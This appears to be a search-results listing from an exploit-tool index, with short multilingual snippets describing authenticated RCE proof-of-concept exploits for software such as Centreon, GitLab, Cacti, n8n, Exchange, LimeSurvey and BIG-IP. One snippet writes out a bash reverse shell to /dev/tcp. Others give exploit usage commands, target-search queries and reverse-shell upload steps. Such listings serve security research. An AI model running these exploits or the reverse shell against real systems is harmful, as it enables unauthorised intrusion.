174 matches found
CVE-2019-19699
CVE-2019-19699 Centreon = Commands Miscellaneous Proceed by clicking Add as shown in the image below. We now create a bash reverse shell as our Miscellaneous command root@kitploit: !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 And click Save Now we navigate to Configuration Pollers and proceed by...
CVE-2017-9101
PlaySMS 1.4 認証済みRCE ExploitDB に記載されている Phonebook CSV アップロード問題を通じてリモートコード実行を行う簡単な方法です。 単一コマンドの実行： root@kitploit: % python3 playsmshell.py --url http://localhost/playsms --password playwithsms -c 'id' Grabbing CSRF token for login Attempting to login as admin + Logged in! Grabbing CSRF token for...
POC-CVE-2025-68613
설명 N8N 인증 RCE 취약점 CVE-2025-68613에 대한 PoC 익스플로잇 코드 사용법 python3 poc.py -u -c...
edb-49263-fixed
edb-49263-fixed - GitLab 11.4.7 - 인증된 원격 코드 실행 CVE-2018-19571 및 CVE-2018-19585GitLab 11.4.7 - 인증된 원격 코드 실행를 악용하기 위한 Python 스크립트의 수정 버전으로, https://www.exploit-db.com/exploits/49263Python 3.9에서 확인할 수 있습니다. 사용법 스크립트를 편집하여 대상 주소를 실제 대상 주소로 교체하십시오. 또한 다음 사항을 명심해야 합니다. 1. 대상 GitLab 인스턴스에서 유효한 사용자 계정을...
CVE-2018-18852
CERIO 라우터 인증된 RCE 백도어 벤더 자격 증명 CVE-2018-18852 Python PoC hook-s3c github.com/hook-s3c, 트위터 @hooks3c CVE-2018-18852에 대한 동작하는 Python PoC로, 원래 다음에 공개되었습니다; https://github.com/hook-s3c/CVE-2018-18852 개요 CERIO 라우터 모델 및 변형인 DT300N, DT100G, AMR-3204, WMR-200N은 루트 사용자로 인증된 웹 기반 RCE에 취약합니다. 공개되지 않은 0day 권...
CVE-2023-46304
CVE-2023-46304 Удаленное выполнение кода аутентифицированным пользователем в VTiger Open Source CRM v7.5 Краткое описание Уязвимость существует в модуле Users в текущем выпуске VTiger CRM Open Source версии 7.5.0, которая позволяет аутентифицированному злоумышленнику записать и выполнить...
CVE-2024-25641-CACTI-RCE-1.2.26
CVE-2024-25641 - Cacti 1.2.26 - Arbitrary file write to RCE 🌵 Authenticated RCE Cacti version v1.2.26 Summary An arbitrary file write vulnerability, exploitable through the "Package Import" feature, allows authenticated users having the "Import Templates" permission to execute arbitrary PHP code ...
CVE-2023-32073
WWBN AVideo currentVersion Аутентифицированная удалённая уязвимость выполнения кода RCE Уязвимость внедрения команд существует в plugin/CloneSite/cloneClient.json.php, которая позволяет удалённое выполнение кода, если используется плагин CloneSite. Это обход исправления для CVE-2023-30854,...
CVE-2019-19356
NETIS ルーター WF2419 の RCE CVE-2019-19356 背景 この脆弱性は、NETIS WF2419 ルーターの Web 管理ページを介した、認証済みリモートコード実行 RCE を root 権限で行うものです。 この脆弱性は、ファームウェアバージョン V1.2.31805 および最新のファームウェアバージョン V2.2.36123 で見つかりました。他のモデルやファームウェアも脆弱である可能性があります。 前提条件 この脆弱性を悪用するには、いくつかの前提条件が必要です。実際、ルーターの Web...
CVE-2019-15107-Scanner
Webmin CVE-2019-15107 취약점 스캐너 CVE-2019-15107Webmin 1.890 1.920 버전의 인증된 원격 코드 실행 취약점에 취약한 Webmin 서버를 탐지하는 멀티스레드 Python 스크립트입니다. 설명 이 도구는 CSV 형식으로 제공된 Webmin 서버 목록을 스캔하여 passwordchange.cgi 엔드포인트를 통해 원격 코드 실행이 가능한 CVE-2019-15107 취약점을 확인합니다. 멀티스레드 방식으로 대규모 네트워크를 효율적으로 스캔할 수 있으며, 결과 해석을 용이하게 하기 위해 색상 ...
CVE-2025-68613
🚀 n8n 인증 RCE PoC Pocsuite3 CVE ID : CVE-2025-68613 유형 : 인증된 원격 코드 실행 프레임워크 : Pocsuite3 이것은 Pocsuite3 프레임워크 기반으로 작성된 취약점 검증 및 이용 스크립트로, n8n 워크플로 자동화 도구의 인증 후 원격 코드 실행 취약점RCE을 탐지합니다. 이 스크립트는 무해한 검증Verify 및 명령 실행Attack 두 가지 모드를 지원하며, 테스트 흔적을 자동으로 정리하는 기능도 갖추고 있습니다. ⚙️ 매개변수 설명 이 스크립트는 Pocsuite3의 기본...
Moodle-authenticated-RCE
Moodle 4.4.0 - 인증된 원격 코드 실행 CVE-2024-43425 익스플로잇 CVE: CVE-2024-43425 영향을 받는 버전 Moodle 4.4 4.4.1 Moodle 4.3 4.3.5 Moodle 4.2 4.2.8 Moodle 4.1 4.1.11 설명 이 익스플로잇은 위에 나열된 Moodle 버전에서 인증된 원격 코드 실행RCE 취약점을 대상으로 합니다. 유효한 자격 증명을 가진 공격자가 안전하지 않은 문제 은행 편집 기능을 악용하여 서버에서 임의의 명령을 실행할 수 있습니다. 사용 방법 1. 이 저장소를...
FuguHub-8.4-Authenticated-RCE-CVE-2024-27697
FuguHub 8.4 Authenticated RCE Fuguhub is a Cloud Media Server Software. The version tested was the debian version at this link: https://fuguhub.com/articles/FuguHub-for-Debian An issue in Real Time Logic LLC FuguHub v.8.4 allows a local attacker to execute arbitrary code via a crafted script to t...
CVE-2023-30854
WWBN Avideo Авторизованная RCE - Внедрение команд ОС CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; Мы можем контролировать $objClone-cloneSiteURL через...
DolibabyPhp
DolibabyPhp Dolibarr ERP/CRM CVE-2023-30253 に対する認証済みRCEエクスプロイト。 インストール パッケージは PyPi リポジトリから pip でインストールするか、GitHub から直接 git clone してソースを取得できます。 root@kitploit: pip install dolibabyphp 使い方 root@kitploit: Usage: dolibabyphp OPTIONS TARGETURL USERNAME PASSWORD COMMAND ARGS... This exploit will log into...
CVE-2020-0688_EXP
CVE-2020-0688EXP CVE-2020-0688EXP Автоматический запуск полезной нагрузки root@kitploit: python3 CVE-2020-0688EXP.py -h usage: CVE-2020-0688EXP.py -h -s SERVER -u USER -p PASSWORD -c CMD -e optional arguments: -h, --help show this help message and exit -s SERVER, --server ECP Server URL Example:...
Limesurvey-RCE
Limesurvey-RCE LimeSurvey 認証済み RCE 概念実証: 1. ファイル config.xml と php リバースシェルファイル を作成 2. これらのファイルでアーカイブを作成 3. 認証情報でログイン 4. 設定 - プラグイン - アップロードとインストール へ移動 5. ZIPファイルを選択 6. アップロード 7. インストール 8. プラグインを有効化 9. リスナーを起動 10. url+upload/plugins/Name/Shellfilename にアクセス 11. リバースシェルを取得 :shipit: 自動化された悪用には...
CVE-2023-46747-RCE
Детали уязвимости fofa： root@kitploit: title="BIG-IP" || iconhash="-335242539" shodan root@kitploit: title:"BIG-IP" Затронутые версии https://my.f5.com/manage/s/article/K000137353 Воспроизведение уязвимости 1. На данный момент здесь есть только пользователь admin: 2. Выполните скрипт:...
ipfire-2-25-auth-rce
Ipfire 2-25 core update 156 인증된 RCE 패킷 설치 시 시스템 명령 실행 시스템이 HTML만으로 7zip을 가져옴 그리고 tmp 디렉터리 확인 버전 2.25 - core update 156 ipfire는 로그인 후 nobody 권한으로 임의의 OS 명령 실행을 허용함 루트가 되자! SUID 바이너리 확인 백업 프로그램이 다른 스크립트를 실행함. /var/ipfire/backup/bin/backup.pl bash 스크립트이며 권한이 매우 좋아 보임 bash 스크립트에 쓰기를 시도함. 오류 없음. 좋음!...